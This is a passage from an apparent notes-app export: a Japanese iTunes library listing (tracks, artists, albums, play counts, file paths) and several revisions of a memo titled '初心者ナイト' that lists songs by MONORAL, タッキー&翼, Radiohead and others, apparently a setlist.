Cage\tMONORAL\t\tTurbulence\t\tRock\t5084137\t309\t\t\t4\t\t\t2010/11/30 11:47\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 000018FF 00001833 0000B250 00006E75 0001FBD0 0001FBFE 00008000 00008000 00002727 00002727\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\MONORAL\\Turbulence\\04 Monkey Cage.m4a\r\nTuesday\tMONORAL\t\tTuesday\t\tRock\t4105827\t224\t\t\t1\t\t\t2010/11/30 11:46\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00001776 000014D9 000090EC 000096A6 00029827 00029827 00008000 00008000 00004E20 00004E37\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\MONORAL\\Tuesday\\01 Tuesday.m4a\r\nAttack It!\t嵐\t\tARASHI 5x10 All the BEST! 1999-2009 [通常盤]\t\t\t2554697\t161\t\t2\t17\t17\t\t2011/07/23 15:27\t2011/07/23 15:25\t128\t44100\t\tAAC オーディオファイル\t\t\t1\t2011/07/23 15:28\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\嵐\\ARASHI 5x10 All the BEST! 1999-2009 [通常盤\\17 Attack It!.m4a\r\nSakura Revolution\tPrits\t\tcherry blossom\t\tAnime\t4644676\t272\t\t\t2\t12\t\t2010/11/30 11:57\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\Prits\\cherry blossom\\02 Sakura Revolution.m4a\r\n ズッコケ男道\t関ジャニ∞\t\tKJ2 ズッコケ大脱走\t\tJohney's\t10089347\t309\t\t\t9\t\t\t2011/01/03 1:00\t2011/05/28 23:09\t256\t44100\t\tAAC オーディオファイル\t\twww.japanesemusicdream.blogspot.com\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\関ジャニ∞\\KJ2 ズッコケ大脱走\\09 ズッコケ男道.m4a\r\nweeeek\tNEWS\t\tcolor\t\tJohney's\t3991076\t229\t\t\t1\t\t2008\t2011/01/03 10:58\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\NEWS\\color\\01 weeeek.m4a\r\nChange the World\tNEWS\t\tpacific\tNEWS\tJohney's\t4473248\t267\t1\t1\t4\t15\t\t2011/01/03 11:08\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00001EEB 000019CB 0000C018 00006BDE 0003D0A7 00033467 00008000 00008000 0000EA60 00007530\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\NEWS\\pacific\\04 Change the World.m4a\r\nKnives Out\tRadiohead\t\tAmnesiac\t\tAlternative\t8576317\t254\t1\t1\t6\t11\t2001\t2011/01/03 10:55\t2011/05/28 23:07\t256\t44100\t\tAAC オーディオファイル\t\t 00001461 000012B6 00007E7E 00009B29 0001ADB0 00004E20 00008000 00008000 00002710 00004E20\t1\t2011/07/23 14:56\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\Radiohead\\Amnesiac\\06 Knives Out.m4a\r\nBangers and Mash\tRadiohead\t\tIn Rainbows\t\tAlternative\t3738389\t199\t2\t2\t7\t8\t2007\t2011/01/03 11:10\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 0000187D 00001F68 00005106 00007E1A 00004E65 0001D4C0 00008000 00008000 0000273E 00004E65\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\Radiohead\\In Rainbows\\2-07 Bangers and Mash.m4a\r\nSHE SAID...\tKAT-TUN\t\tBest of KAT-TUN\t\tJohney's\t3860027\t225\t\t\t1\t\t2006\t2011/01/03 10:57\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00002A99 00001CB9 0001920A 0000598F 00030D57 00024A35 00008000 00008000 00004E37 00004E20\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\KAT-TUN\\Best of KAT-TUN\\01 SHE SAID....m4a\r\nプラーター公園へ行こう\tVoCALOID\tヴォルフガング・アマデウス・モーツァルト\tニコニコ動画\t\t\t4828085\t201\t\t\t\t\t\t2011/07/23 15:39\t2011/07/23 15:38\t192\t44100\t\tMPEG オーディオファイル\t\t\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\VoCALOID\\ニコニコ動画\\プラーター公園へ行こう.mp3\r\n\r\n\r\n名前\tアーティスト\t作曲者\tアルバム\tグループ\tジャンル\tサイズ\t時間\tディスク番号\tディスク数\tトラック番号\tトラック数\t年\t変更日\t追加日\tビット レート\tサンプル レート\t音量調整\t種類\tイコライザ\tコメント\t再生回数\t最後に再生した日\tスキップ回数\t最後にスキップした日\tマイレート\t場所\r\nOvertune\tタッキー&翼\t\tタキツバベスト\t\tJohney's\t1038576\t58\t\t\t1\t\t2007\t2010/11/30 12:43\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 0000086C 00000906 0000211E 00002482 0000729F 000044FC 00008000 0000772E 0000896F 0000899D\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\タッキー&翼\\タキツバベスト\\01 Overtune.m4a\r\nTrue Heart\tタッキー&翼\t\tタキツバベスト\t\tJohney's\t4281568\t255\t\t\t2\t\t2007\t2010/11/30 12:43\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 000017CD 000019EF 0000507D 0000541D 00015FA7 00015FA7 00007BC9 00007E3D 0002BF4E 000111B5\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\タッキー&翼\\タキツバベスト\\02 True Heart.m4a\r\nキ・セ・キ - 滝沢秀明\tタッキー&翼\t\tタキツバベスト\t\tJohney's\t5458647\t330\t\t\t3\t\t2007\t2010/11/30 12:43\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 000014C1 00001398 00003245 00002D07 00035B8E 00035B77 00007B6D 00007BF5 00046CE7 000138C5\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\タッキー&翼\\タキツバベスト\\03 キ・セ・キ - 滝沢秀明.m4a\r\nGet Down - 今井 翼\tタッキー&翼\t\tタキツバベスト\t\tJohney's\t4314798\t255\t\t\t4\t\t2007\t2010/11/30 12:43\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 0000214C 000021B4 00007C29 00008D39 0002BF37 0002BF4E 00008000 00008000 00004E20 00004E20\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\タッキー&翼\\タキツバベスト\\04 Get Down - 今井 翼.m4a\r\n卒業~さよならは明日のために~\tタッキー&翼\t\tタキツバベスト\t\tJohney's\t5504802\t334\t\t\t5\t\t2007\t2010/11/30 12:44\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 000008E7 000008C5 0000522A 00004920 000445EE 000445EE 000075EF 00007B7B 00046CFE 000493F7\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\タッキー&翼\\タキツバベスト\\05 卒業~さよならは明日のために~.m4a\r\n夢物語\tタッキー&翼\t\tタキツバベスト\t\tJohney's\t4546527\t271\t\t\t6\t\t2007\t2010/11/30 12:44\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00002156 00002242 000058B2 0000728B 0002983E 00029855 00007F2C 00007E8B 000222F7 00004E37\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\タッキー&翼\\タキツバベスト\\06 夢物語.m4a\r\nOne Day .One Dream\tタッキー&翼\t\tタキツバベスト\t\tJohney's\t4409814\t263\t\t\t7\t\t2007\t2010/11/30 12:44\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00001AAD 00001902 00005125 00005673 00015FBE 00015FD5 00008000 00008000 00013880 00013880\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\タッキー&翼\\タキツバベスト\\07 One Day .One Dream.m4a\r\n愛想曲\tタッキー&翼\t\tタキツバベスト\t\tJohney's\t4933040\t298\t\t\t8\t\t2007\t2010/11/30 12:44\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 000013FF 0000160F 0000560D 00004BCD 0001ADF5 0001ADDE 00007D4B 00008000 00030D57 00030D40\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\タッキー&翼\\タキツバベスト\\08 愛想曲.m4a\r\n仮面\tタッキー&翼\t\tタキツバベスト\t\tJohney's\t5170433\t308\t\t\t9\t\t2007\t2010/11/30 12:44\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00001448 0000134A 00004344 00003B10 0002BF37 0002BF65 00007ADC 00007BF3 00046CFE 0003F7E5\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\タッキー&翼\\タキツバベスト\\09 仮面.m4a\r\n未来航海\tタッキー&翼\t\tタキツバベスト\t\tJohney's\t4031260\t244\t\t\t10\t\t2007\t2010/11/30 12:44\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00001138 0000102B 00003F89 000044D3 00035BA5 0000EA8E 00007B38 00007F32 00030D57 0000EA77\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\タッキー&翼\\タキツバベスト\\10 未来航海.m4a\r\nVenus\tタッキー&翼\t\tタキツバベスト\t\tJohney's\t4203956\t250\t\t\t11\t\t2007\t2010/11/30 12:45\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 0000127E 00001598 00003CC2 0000452B 0001FBE7 0001FBE7 000077BF 00007DBB 0003347E 0000C350\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\タッキー&翼\\タキツバベスト\\11 Venus.m4a\r\nHo! サマー\tタッキー&翼\t\tタキツバベスト\t\tJohney's\t4101406\t246\t\t\t12\t\t2007\t2010/11/30 12:45\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00001CD0 00001F12 00005C35 000057AA 00024A1E 00033495 00007B20 00007F5D 0001ADF5 0000EA60\t1\t2011/07/13 19:24\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\タッキー&翼\\タキツバベスト\\12 Ho! サマー.m4a\r\nX ~ダメ~\tタッキー&翼\t\tタキツバベスト\t\tJohney's\t4435685\t263\t\t\t13\t\t2007\t2010/11/30 12:45\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00002017 00002475 00005951 00007471 0001FBFE 0001FBE7 00007D54 00007E27 0000EA60 0003D090\t1\t2011/07/13 19:29\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\タッキー&翼\\タキツバベスト\\13 X ~ダメ~.m4a\r\nCrazy Rainbow\tタッキー&翼\t\tタキツバベスト\t\tJohney's\t3770013\t225\t\t\t14\t\t2007\t2010/11/30 12:45\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00002649 00002880 00006DA0 0000774B 0001FBFE 0001FBE7 00007C2B 00008000 0001ADDE 0001FBD0\t8\t2011/07/13 19:33\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\タッキー&翼\\タキツバベスト\\14 Crazy Rainbow.m4a\r\nSAMURAI\tタッキー&翼\t\tタキツバベスト\t\tJohney's\t5158246\t282\t\t\t15\t\t2007\t2010/11/30 12:45\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 000026E2 00002CC6 000066C5 000096D5 00009C40 00004E4E 00008000 00008000 00009C40 00004E65\t6\t2011/07/13 11:13\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\タッキー&翼\\タキツバベスト\\15 SAMURAI.m4a\r\n\r\n\r\n\r\n名前\tアーティスト\t作曲者\tアルバム\tグループ\tジャンル\tサイズ\t時間\tディスク番号\tディスク数\tトラック番号\tトラック数\t年\t変更日\t追加日\tビット レート\tサンプル レート\t音量調整\t種類\tイコライザ\tコメント\t再生回数\t最後に再生した日\tスキップ回数\t最後にスキップした日\tマイレート\t場所\r\nPocketful of joy\tMONORAL\t\tTurbulence\t\tRock\t4364954\t258\t\t\t1\t\t\t2010/11/30 11:46\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00002247 0000235E 0000F2ED 0000B7A3 000249F0 00030D40 00008000 00008000 00004E20 00009C6E\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\MONORAL\\Turbulence\\01 Pocketful of joy.m4a\r\nSparta\tMONORAL\t\tTurbulence\t\tRock\t3940298\t226\t\t\t2\t\t\t2010/11/30 11:47\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00002E30 0000390A 00009F3B 0000EA7A 0001D4C0 000249F0 00008000 00008000 00002727 00002727\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\MONORAL\\Turbulence\\02 Sparta.m4a\r\nVimana\tMONORAL\t\tTurbulence\t\tRock\t4003054\t222\t\t\t3\t\t\t2010/11/30 11:47\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00001931 00001DDF 000077EB 00008F53 00011187 00011187 00008000 00008000 00004E20 00004E20\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\MONORAL\\Turbulence\\03 Vimana.m4a\r\nMonkey Cage\tMONORAL\t\tTurbulence\t\tRock\t5084137\t309\t\t\t4\t\t\t2010/11/30 11:47\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 000018FF 00001833 0000B250 00006E75 0001FBD0 0001FBFE 00008000 00008000 00002727 00002727\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\MONORAL\\Turbulence\\04 Monkey Cage.m4a\r\nTuesday\tMONORAL\t\tTurbulence\t\tRock\t3680613\t222\t\t\t5\t\t\t2010/11/30 11:47\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00002262 00001E99 0000891C 0000630C 00029810 00033495 00008000 00008000 00002755 00002755\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\MONORAL\\Turbulence\\05 Tuesday.m4a\r\nVisions in my head\tMONORAL\t\tTurbulence\t\tRock\t4167178\t251\t\t\t6\t\t\t2010/11/30 11:47\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 0000301E 0000305B 0000F263 00018B81 00035B60 000222E0 00008000 00008000 00002710 00002710\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\MONORAL\\Turbulence\\06 Visions in my head.m4a\r\nPerfect Gold\tMONORAL\t\tTurbulence\t\tRock\t4652767\t275\t\t\t7\t\t\t2010/11/30 11:47\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00001559 000013DB 0000794B 00006AB6 00035B60 00011170 00008000 00008000 00007530 00007530\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\MONORAL\\Turbulence\\07 Perfect Gold.m4a\r\nKiri\tMONORAL\t\tTurbulence\t\tRock\t4299438\t259\t\t\t8\t\t\t2010/11/30 11:47\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00001945 00001D3A 00009E1B 000081F8 0000C350 0002BF20 00008000 00008000 00004E20 00004E20\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\MONORAL\\Turbulence\\08 Kiri.m4a\r\nPompadour\tMONORAL\t\tTurbulence\t\tRock\t3270730\t197\t\t\t9\t\t\t2010/11/30 11:48\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 000020D9 00002539 0000F669 0000FA91 000222E0 0002BF20 00008000 00008000 00004E65 00002710\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\MONORAL\\Turbulence\\09 Pompadour.m4a\r\nShenanigans\tMONORAL\t\tTurbulence\t\tRock\t2188777\t134\t\t\t10\t\t\t2010/11/30 11:48\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 0000191E 00001E66 00007DAD 000063C9 0000EA60 00015F90 00008000 00008000 00007530 00007530\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\MONORAL\\Turbulence\\10 Shenanigans.m4a\r\nTurbulence\tMONORAL\t\tTurbulence\t\tRock\t1416917\t84\t\t\t11\t\t\t2010/11/30 11:48\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 00000319 00000316 000008EA 00000836 0000E856 00012AFD 00008000 00004111 0000E856 000084C3\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\MONORAL\\Turbulence\\11 Turbulence.m4a\r\nSession 9\tMONORAL\t\tTurbulence\t\tRock\t5444546\t314\t\t\t12\t\t\t2010/11/30 11:48\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t 000012CF 000014B0 0000D368 0000C2F9 00041EB0 00041EB0 00008000 00008000 00013880 00009C85\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\MONORAL\\Turbulence\\12 Session 9.m4a\r\nReflectia\teufonius\t\tReflectia\t\tAnime\t5085036\t290\t\t\t1\t\t2008\t2011/01/03 11:08\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t#nipponsei @ irc.rizon.net\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\eufonius\\Reflectia\\01 Reflectia.m4a\r\nプレパレード\t逢坂大河(CV:釘宮理恵)、櫛枝実乃梨(CV:堀江由衣)、川島亜美(CV:喜多村英梨)\t\tプレパレード\t\tAnime\t8253511\t204\t\t\t1\t4\t2008\t2011/01/03 11:06\t2011/05/28 23:09\t320\t44100\t\tAAC オーディオファイル\t\t\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\逢坂大河(CV_釘宮理恵)、櫛枝実乃梨(CV_堀江由衣)、川島亜美(CV_喜多村\\プレパレード\\01 プレパレード.m4a\r\nDISCOTHEQUE\t水樹奈々\t\tTrickster\t\tAnime\t3948485\t239\t\t\t2\t\t2008\t2011/01/03 11:07\t2011/05/28 23:08\t128\t44100\t\tAAC オーディオファイル\t\t#NIPPONSEI @ IRC.RIZON.NET\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\水樹奈々\\Trickster\\02 DISCOTHEQUE.m4a\r\nEngage\t三柴理\tClara\t戦闘妖精雪風 オリジナルサウンドトラック 2\t\tSoundtrack\t2759299\t178\t1\t1\t1\t8\t2005\t2011/06/29 23:09\t2011/06/29 23:09\t128\t44100\t\tAAC オーディオファイル\t\t\t32\t2011/07/15 21:53\t\t\t60\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\三柴理\\戦闘妖精雪風 オリジナルサウンドトラック 2\\01 Engage.m4a\r\n天装戦隊ゴセイジャー\tNoB\tYOFFY\t天装戦隊ゴセイジャー 主題歌\t\tAnime\t4337509\t261\t\t\t1\t\t2010\t2011/01/03 11:02\t2011/05/28 23:07\t128\t44100\t\tAAC オーディオファイル\t\t\t\t\t\t\t\tC:\\Users\\ssig33\\Dropbox\\Music\\iTunes\\Music\\NoB\\天装戦隊ゴセイジャー 主題歌\\01 天装戦隊ゴセイジャー.m4a","created_at":"2011-07-23T10:02:44.000Z","updated_at":"2011-07-23T10:02:44.000Z"},{"id":1818,"name":"memo/初心者ナイト","body":"1.6cm\tmeg rock\r\n1.clover\tmeg rock\r\n1.ROSE HIP-BULLET\tGRANRODEO\r\n1.99%LIBERTY\tKinKi Kids\r\n1.ジェットコースター・ロマンス\tKinKi Kids\r\n1.Via\tMONORAL\t\tVia\r\n1.VISIONS IN MY HEAD\tMONORAL\r\n1.Monkey Cage\tMONORAL\r\n1.Tuesday\tMONORAL\r\n1.Attack It!\t嵐\r\n1.Sakura Revolution\tPrits\t\tcherry blossom\r\n1.ズッコケ男道\t関ジャニ∞\r\n1.weeeek\tNEWS\r\n1.Change the World\tNEWS\r\n1.Knives Out\tRadiohead\r\n1.Bangers and Mash\tRadiohead\r\n1.SHE SAID...\tKAT-TUN\r\n1.プラーター公園へ行こう\r\n\r\n1.Overtune\tタッキー&翼\r\n1.True Heart\tタッキー&翼\r\n1.キ・セ・キ - 滝沢秀明\tタッキー&翼\r\n1.Get Down - 今井 翼\tタッキー&翼\r\n1.卒業~さよならは明日のために~\tタッキー&翼\r\n1.夢物語\tタッキー&翼\r\n1.One Day .One Dream\tタッキー&翼\r\n1.愛想曲\tタッキー&翼\r\n1.仮面\tタッキー&翼\r\n1.未来航海\tタッキー&翼\r\n1.Venus\tタッキー&翼\r\n1.Ho! サマー\tタッキー&翼\r\n1.X ~ダメ~\tタッキー&翼\r\n1.Crazy Rainbow\tタッキー&翼\r\n1.SAMURAI\tタッキー&翼\r\n\r\n1.Pocketful of joy\tMONORAL\r\n1.Sparta\tMONORAL\r\n1.Vimana\tMONORAL\r\n1.Monkey Cage\tMONORAL\r\n1.Tuesday\tMONORAL\r\n1.Visions in my head\tMONORAL\r\n1.Perfect Gold\tMONORAL\r\n1.Kiri\tMONORAL\r\n1.Pompadour\tMONORAL\r\n1.Shenanigans\tMONORAL\r\n1.Turbulence\tMONORAL\r\n1.Session 9\tMONORAL\r\n1.Reflectia\teufonius\r\n1.プレパレード\t逢坂大河(CV:釘宮理恵)、櫛枝実乃梨(CV:堀江由衣)、川島亜美(CV:喜多村英梨)\r\n1.DISCOTHEQUE\t水樹奈々\r\n1.Engage\t三柴理\tClara\t戦闘妖精雪風 オリジナルサウンドトラック 2\r\n1.天装戦隊ゴセイジャー\tNoB\tYOFFY\t天装戦隊ゴセイジャー 主題歌\r\n","created_at":"2011-07-23T10:07:10.000Z","updated_at":"2011-07-23T10:07:10.000Z"},{"id":1819,"name":"memo/初心者ナイト","body":"1. 6cm\tmeg rock\r\n1.clover\tmeg rock\r\n1.ROSE HIP-BULLET\tGRANRODEO\r\n1.99%LIBERTY\tKinKi Kids\r\n1.ジェットコースター・ロマンス\tKinKi Kids\r\n1.Via\tMONORAL\t\tVia\r\n1.VISIONS IN MY HEAD\tMONORAL\r\n1.Monkey Cage\tMONORAL\r\n1.Tuesday\tMONORAL\r\n1.Attack It!\t嵐\r\n1.Sakura Revolution\tPrits\t\tcherry blossom\r\n1.ズッコケ男道\t関ジャニ∞\r\n1.weeeek\tNEWS\r\n1.Change the World\tNEWS\r\n1.Knives Out\tRadiohead\r\n1.Bangers and Mash\tRadiohead\r\n1.SHE SAID...\tKAT-TUN\r\n1.プラーター公園へ行こう\r\n\r\n1.Overtune\tタッキー&翼\r\n1.True Heart\tタッキー&翼\r\n1.キ・セ・キ - 滝沢秀明\tタッキー&翼\r\n1.Get Down - 今井 翼\tタッキー&翼\r\n1.卒業~さよならは明日のために~\tタッキー&翼\r\n1.夢物語\tタッキー&翼\r\n1.One Day .One Dream\tタッキー&翼\r\n1.愛想曲\tタッキー&翼\r\n1.仮面\tタッキー&翼\r\n1.未来航海\tタッキー&翼\r\n1.Venus\tタッキー&翼\r\n1.Ho! サマー\tタッキー&翼\r\n1.X ~ダメ~\tタッキー&翼\r\n1.Crazy Rainbow\tタッキー&翼\r\n1.SAMURAI\tタッキー&翼\r\n\r\n1.Pocketful of joy\tMONORAL\r\n1.Sparta\tMONORAL\r\n1.Vimana\tMONORAL\r\n1.Monkey Cage\tMONORAL\r\n1.Tuesday\tMONORAL\r\n1.Visions in my head\tMONORAL\r\n1.Perfect Gold\tMONORAL\r\n1.Kiri\tMONORAL\r\n1.Pompadour\tMONORAL\r\n1.Shenanigans\tMONORAL\r\n1.Turbulence\tMONORAL\r\n1.Session 9\tMONORAL\r\n1.Reflectia\teufonius\r\n1.プレパレード\t逢坂大河(CV:釘宮理恵)、櫛枝実乃梨(CV:堀江由衣)、川島亜美(CV:喜多村英梨)\r\n1.DISCOTHEQUE\t水樹奈々\r\n1.Engage\t三柴理\tClara\t戦闘妖精雪風 オリジナルサウンドトラック 2\r\n1.天装戦隊ゴセイジャー\tNoB\tYOFFY\t天装戦隊ゴセイジャー 主題歌\r\n","created_at":"2011-07-23T10:07:36.000Z","updated_at":"2011-07-23T10:07:36.000Z"},{"id":1820,"name":"memo/初心者ナイト","body":"1. 6cm\tmeg rock\r\n1. clover\tmeg rock\r\n1. ROSE HIP-BULLET\tGRANRODEO\r\n1. 99%LIBERTY\tKinKi Kids\r\n1. ジェットコースター・ロマンス\tKinKi Kids\r\n1. Via\tMONORAL\t\tVia\r\n1. VISIONS IN MY HEAD\tMONORAL\r\n1. Monkey Cage\tMONORAL\r\n1. Tuesday\tMONORAL\r\n1. Attack It!\t嵐\r\n1. Sakura Revolution\tPrits\t\tcherry blossom\r\n1. ズッコケ男道\t関ジャニ∞\r\n1. weeeek\tNEWS\r\n1. Change the World\tNEWS\r\n1. Knives Out\tRadiohead\r\n1. Bangers and Mash\tRadiohead\r\n1. SHE SAID...\tKAT-TUN\r\n1. プラーター公園へ行こう\r\n\r\n1. Overtune\tタッキー&翼\r\n1. True Heart\tタッキー&翼\r\n1. キ・セ・キ - 滝沢秀明\tタッキー&翼\r\n1. Get Down - 今井 翼\tタッキー&翼\r\n1. 卒業~さよならは明日のために~\tタッキー&翼\r\n1. 夢物語\tタッキー&翼\r\n1. One Day .One Dream\tタッキー&翼\r\n1. 愛想曲\tタッキー&翼\r\n1. 仮面\tタッキー&翼\r\n1. 未来航海\tタッキー&翼\r\n1. Venus\tタッキー&翼\r\n1. Ho! サマー\tタッキー&翼\r\n1. X ~ダメ~\tタッキー&翼\r\n1. Crazy Rainbow\tタッキー&翼\r\n1. SAMURAI\tタッキー&翼\r\n\r\n1. Pocketful of joy\tMONORAL\r\n1. Sparta\tMONORAL\r\n1. Vimana\tMONORAL\r\n1. Monkey Cage\tMONORAL\r\n1. Tuesday\tMONORAL\r\n1. Visions in my head\tMONORAL\r\n1. Perfect Gold\tMONORAL\r\n1. Kiri\tMONORAL\r\n1. Pompadour\tMONORAL\r\n1. Shenanigans\tMONORAL\r\n1. Turbulence\tMONORAL\r\n1. Session 9\tMONORAL\r\n1. Reflectia\teufonius\r\n1. プレパレード\t逢坂大河(CV:釘宮理恵)、櫛枝実乃梨(CV:堀江由衣)、川島亜美(CV:喜多村英梨)\r\n1. DISCOTHEQUE\t水樹奈々\r\n1. Engage\t三柴理\tClara\t戦闘妖精雪風 オリジナルサウンドトラック 2\r\n1. 天装戦隊ゴセイジャー\tNoB\tYOFFY\t天装戦隊ゴセイジャー 主題歌\r\n","created_at":"2011-07-23T10:08:05.000Z","updated_at":"2011-07-23T10:08:05.000Z"},{"id":1821,"name":"memo/初心者ナイト","body":"1. 6cm\tmeg rock\r\n1. clover\tmeg rock\r\n1. ROSE HIP-BULLET\tGRANRODEO\r\n1. 99%LIBERTY\tKinKi Kids\r\n1. ジェットコースター・ロマンス\tKinKi Kids\r\n1. Via\tMONORAL\t\tVia\r\n1. VISIONS IN MY HEAD\tMONORAL\r\n1. Monkey Cage\tMONORAL\r\n1. Tuesday\tMONORAL\r\n1. Attack It!\t嵐\r\n1. Sakura Revolution\tPrits\t\tcherry blossom\r\n1. ズッコケ男道\t関ジャニ∞\r\n1. weeeek\tNEWS\r\n1. Change the World\tNEWS\r\n1. Knives Out\tRadiohead\r\n1. Bangers and Mash\tRadiohead\r\n1. SHE SAID...\tKAT-TUN\r\n1. プラーター公園へ行こう\r\n\r\n\r\n\r\n1. Overtune\tタッキー&翼\r\n1. True Heart\tタッキー&翼\r\n1. キ・セ・キ - 滝沢秀明\tタッキー&翼\r\n1. Get Down - 今井 翼\tタッキー&翼\r\n1. 卒業~さよならは明日のために~\tタッキー&翼\r\n1. 夢物語\tタッキー&翼\r\n1. One Day .One Dream\tタッキー&翼\r\n1. 愛想曲\tタッキー&翼\r\n1. 仮面\tタッキー&翼\r\n1. 未来航海\tタッキー&翼\r\n1. Venus\tタッキー&翼\r\n1. Ho! サマー\tタッキー&翼\r\n1. X ~ダメ~\tタッキー&翼\r\n1. Crazy Rainbow\tタッキー&翼\r\n1. SAMURAI\tタッキー&翼\r\n\r\n\r\n\r\n1. Pocketful of joy\tMONORAL\r\n1. Sparta\tMONORAL\r\n1. Vimana\tMONORAL\r\n1. Monkey Cage\tMONORAL\r\n1. Tuesday\tMONORAL\r\n1. Visions in my head\tMONORAL\r\n1. Perfect Gold\tMONORAL\r\n1. Kiri\tMONORAL\r\n1. Pompadour\tMONORAL\r\n1. Shenanigans\tMONORAL\r\n1. Turbulence\tMONORAL\r\n1. Session 9\tMONORAL\r\n1. Reflectia\teufonius\r\n1. プレパレード\t逢坂大河(CV:釘宮理恵)、櫛枝実乃梨(CV:堀江由衣)、川島亜美(CV:喜多村英梨)\r\n1. DISCOTHEQUE\t水樹奈々\r\n1. Engage\t三柴理\tClara\t戦闘妖精雪風 オリジナルサウンドトラック 2\r\n1. 天装戦隊ゴセイジャー\tNoB\tYOFFY\t天装戦隊ゴセイジャー 